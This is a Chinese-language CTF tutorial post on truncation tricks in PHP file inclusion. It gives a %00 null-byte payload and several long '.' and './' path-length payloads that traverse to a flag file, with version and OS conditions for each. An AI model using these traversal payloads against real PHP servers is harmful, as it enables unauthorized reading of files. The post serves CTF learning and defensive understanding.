CTF中截断在文件包含中的应用 0x01 CTF中的文件包含 -------------- 文件包含在CTF中算是一种比较常见的题型。如果单独作为一题的话基本上都是考你能否找到这个文件。还有一种就是混合型的和其他知识点一起考,通过文件包含找到源码然后再代码审计。 0x02 常规截断 --------- 要求: - php版本小于5.3.4 - ``` magic_quotes_gpc ```为off状态 漏洞文件``` index.php ``` ``` ``` flag文件放在上层目录 这里限制了后缀名,我们需要通过截断才能访问到flag文件 利用代码: ``` index.php?file=../../flag.php%00 ``` ![1.png][1] ``` %00 ``` 会被解析为``` 0x00 ```,所以导致截断的发生 我们通过截断成功的绕过了后缀限制 0x03 路径长度截断 ----------- 我们现在已经知道使用``` %00 ```截断有两个条件php版本小于5.3.4和``` magic_quotes_gpc ```为off状态。 如果这时我们将``` magic_quotes_gpc ```改为on那么就不能截断了,因为开启``` magic_quotes_gpc ```后``` %00 ```会被加上一个反斜杠转义掉 ![2.png][2] 那么我们这时候有没有办法绕过这个限制呢? 答案是肯定的,但依旧有一个条件那就是php版本小于5.3.10 我们的代码依旧不变 漏洞文件``` index.php ``` ``` ``` flag文件放在上层目录 这时我们可以使用字符 ``` . ``` ``` /. ```和``` ./ ```来进行绕过,因为文件路径有长度限制 - windows 259个bytes - linux 4096个bytes 在windows下需要.字符最少的利用``` POC1 ```: ``` file=../../flag.php.............................................................................................................................................................................................................................................. ``` ![3.png][3] 在windows下需要.字符最少的利用``` POC2 ```: ``` file=../../flag.php./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././ ``` ![4.png][4] 将``` flag.php ```改为``` flag1.php ``` 在windows下需要.字符最少的利用``` POC3 ```: ``` file=../../flag1.php/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././ ``` ![5.png][5] 我们发现在使用``` payload3 ```时将文件名改为了``` flag1.php ```,而``` payload2 ```和``` payload3 ```则是一个``` . ```开始,一个``` / ```开始。 这和文件长度的奇偶性有关,当为偶数的时候我们选择``` payload2 ```,为奇数的时候我们选择``` payload3 ``` 0x04 总结 ------- 使用截断的时候根据题目的具体情况使用不同的截断方法,遇到奇偶问题的时候我们可以丢一串很长的``` ./ ```到URL后面然后再调整第一个字符即可。一般来说``` %00 ```就足够了,当``` %00 ```不行时再尝试``` ./ ```的组合 [1]: http://www.lovei.org/usr/uploads/2017/07/4203087536.png [2]: http://www.lovei.org/usr/uploads/2017/07/1599963681.png [3]: http://www.lovei.org/usr/uploads/2017/07/3452355290.png [4]: http://www.lovei.org/usr/uploads/2017/07/1179652922.png [5]: http://www.lovei.org/usr/uploads/2017/07/3238687721.png